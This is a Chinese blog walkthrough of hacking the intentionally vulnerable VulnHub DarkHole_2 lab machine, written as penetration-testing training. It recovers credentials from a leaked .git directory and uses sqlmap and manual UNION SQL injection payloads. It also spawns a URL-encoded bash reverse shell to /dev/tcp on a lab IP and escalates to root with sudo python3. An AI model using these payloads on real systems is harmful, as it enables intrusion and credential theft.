VulnHub-DarkHole_ 2靶机详细渗透过程

1.靶机部署

kali安装:https://blog.csdn.net/l2872253606/article/details/123592717?spm=1001.2014.3001.5502
靶机下载:https://download.vulnhub.com/darkhole/darkhole_2.zip
得到三个文件,稍后需要打开的shi.ovf的文件:
image.png
使用VMware打开该文件:
image.png
设置好名称和虚拟机位置:
注意:导入过程中可能会提示导入失败,点击重试即可。
image.png
虚拟机的基本设置:
image.png
导入成功,打开虚拟机,到此虚拟机部署完成!
image.png
注意:靶机的网络连接模式必须和kali一直,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。

2.信息收集

2.1 探测IP

使用nmap扫描同一个段下存活的IP

nmap 192.168.11.0/24

发现153开启了80端口,通过访问确实是我们的靶机!
image.png

2.2 详细信息扫描

使用nmap对靶机开放的端口进行更详细的扫描:

nmap -A -T4 -p- 192.168.11.154

image.png

2.3 敏感目录

dirsearch -u 192.168.11.154 -e *

image.png

2.4 指纹收集

whatweb -v 192.168.11.154

image.png

3.渗透过程

3.1 访问敏感目录

扫描敏感目录的时候扫出一个.git目录,访问一下发现确实有东西,那猜测一下这里会不会存在
image.png

3.2 git泄露

使用git-dumper分析git文件
没有的话安装一下:

3.2.1 pip安装git-dumper

我这里是使用pip3安装,因为之前安装过了,第一次安装可能要多等一会儿

pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn git-dumper

image.png

3.2.2 使用git-dumper下载git文件夹内容到backup文件夹:

git-dumper http://192.168.11.154/.git/ backup

image.png

3.3.3 切换到backup文件夹,查看日志

git log

到这里呢就不得不说一下强大的git log命令了:

git log命令详解:https://blog.csdn.net/u012260238/article/details/81673853

在这里呢我们没有带任何参数,大概意思是:

不带任何参数,它会列出所有历史记录,最近的排在最上方,显示提交对象的哈希值,作者、提交日期、和提交说明
如果记录过多,则按Page Up、Page Down、↓、↑来控制显示
按q退出历史记录列表

然后我们就可以看到有三次提交,还有提交的哈希值,作者,时间等等。
image.png

3.3.4 对比三次提交

使用diff对比一下:git diff可以获得当前工作目录和上次提交与本地索引的差距,也就是可以获取本次你在什么地方修改了代码。
三个哈希值一个一个试嘛,我这里是试到第二个发现里面有东西:
这里好像是一组用户名和密码:

lush@admin.com
321

image.png

3.3 登录网页

登录页面在首页的右上方,输入我们刚得到的用户名和密码:
image.png
这样呢我们就登录成功了!!!
image.png
进图页面呢我们可以看到URL里面有个id=1,大胆猜测一下会不会存在注入:
image.png
当我们将id的值改为null的时候,发现页面的信息消失了,当然也不可能存在id为null的用户:
image.png
后面再加个单引号,发现报错了,到这里我们就可以确定了该页面存在sql注入:
image.png

3.4 注入

3.4.1 获取当前网站的cookie值:

不会?找不到?点我主页,置顶的帖子里面有我的联系方式,我手把手叫你。[怒]
image.png

3.4.2 利用cookie进行注入爆破当前数据库

sqlmap -u http://192.168.11.154/dashboard.php?id=1 --cookie PHPSESSID=gjl8s8qe5g9qke0ondmvnumo9k --current-db

这样呢我们就得到了一个数据库名。
image.png

3.4.3 获取数据库darkhole_2的表名

sqlmap -u http://192.168.11.154/dashboard.php?id=1 --cookie PHPSESSID=gjl8s8qe5g9qke0ondmvnumo9k -D darkhole_2 -T ssh -dump

得到两个表:

ssh
users

image.png

3.4.4 获取敏感信息

sqlmap -u http://192.168.11.154/dashboard.php?id=1 --cookie PHPSESSID=gjl8s8qe5g9qke0ondmvnumo9k -D darkhole_2 -T ssh -dump

image.png

3.5 手注

3.5.1 使用ORDER BY来确定回显注入位:

id=1' ORDER BY 1 -- -
id=1' ORDER BY 2 -- -
id=1' ORDER BY 3 -- -
id=1' ORDER BY 4 -- -
id=1' ORDER BY 5 -- -
id=1' ORDER BY 6 -- -
id=1' ORDER BY 7 -- - 

第7列报错,说明可能只有6位:
image.png
image.png

3.5.2 查看当前数据库:

?id=NULL’ UNION ALL SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata – -

image.png

3.5.3 再查询数据库中的表:

id=NULL’ UNION ALL SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema=‘darkhole_2’-- -

image.png

3.5.4 查询表中的列名:

id=NULL’ UNION ALL SELECT 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name=‘ssh’-- -

image.png

3.5.5 查询用户名:

id=NULL’ UNION ALL SELECT 1,user,pass,4,5,6 FROM ssh-- -

image.png

3.6 SSH连接

账号密码已经得到,使用ssh登录:

用户名: jehad
密码:fool

image.png

3.7 提权

3.7.1 查看权限

sudo -l

image.png

3.7.2 查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null

image.png

3.7.3 查看计划任务

cat /etc/crontab

发现有一个运行在9999端口上的计划任务:
image.png
查看具体内容:
可以看到这是允许远程命令执行。
image.png

3.7.4 查看passwd文件

cat /etc/passwd | grep “/bin/bash”

可以看到有好几个用户:
image.png

3.7.5 查看历史命令

cat .bash_history

image.png

3.7.6 查看服务详细

curl “http://127.0.0.1:9999/?cmd=id”

curl是一个命令行访问URL的工具,作用是发出网络请求,然后得到和提取数据,显示在"标准输出"(stdout)上面。可以用它构造http request报文,且可以解析服务器返回的http response,额外还支持cookie特性,可以用curl完成web浏览器的基本功能,curl还支持HTTPS/FTP/FTPS/TELNET/LDAP等协议。
可以看到这个服务是losy用户的:
image.png

3.7.7 获取losy的权限

重新连接登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机

image.png

3.7.8 反弹shell

这里简单说两句:
记得我们查看过9999端口运行的程序,当我们看到源代码的内容时,我们看到这允许远程命令执行。而且这个脚本属于用户losy,然后我们就可以使用 SSH 隧道连接端口 9999,然后,访问 127.0.0.1:9999 进行 RCE。大概原理就是这样。
具体操作:

  • SSH隧道连接
  • 构造连接kali的命令:

bash -c ‘bash -i >& /dev/tcp/192.168.11.128/9001 0>&1’

  • 使用URL编码进行编码:

bash%20-c%20’bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.11.128%2F9001%200%3E%261’

  • kali开启监听
  • 浏览器访问:

http://127.0.0.1:9999/?cmd=bash%20-c%20’bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.11.128%2F9001%200%3E%261’

  • 或者直接使用curl:

curl http://127.0.0.1:9999/?cmd=bash%20-c%20’bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.11.128%2F9001%200%3E%261’

成功拿到losy的权限:
image.png
查看losy的历史命令:
image.png
得到密码:gang

3.7.9 反弹shell失败的解决办法

其实可以直接在URL里通过修改cmd的参数值读取history文件:

http://127.0.0.1:9999/?cmd=cat%20~/.bash_history

image.png

3.7.10 登录losy用户

ssh losy@192.168.11.154

image.png
查看权限:

sudo -l

image.png
发现有root身份执行python3的权限,python提权还是比较简单的,这可能是作者见我们前面太辛苦,这里给我们一点福利吧!
开始提权:
写一个脚本,作用是打开一个shell,用户sudo执行,那么这个shell就具有root的权限:

import os; 
os.setuid(0); 
os.system("/bin/sh")

我比较懒,我就一句话搞定了:

sudo python3 -c ‘import os; os.setuid(0); os.system(“/bin/sh”)’

image.png

夺旗!!!

image.png

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小秋LY

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值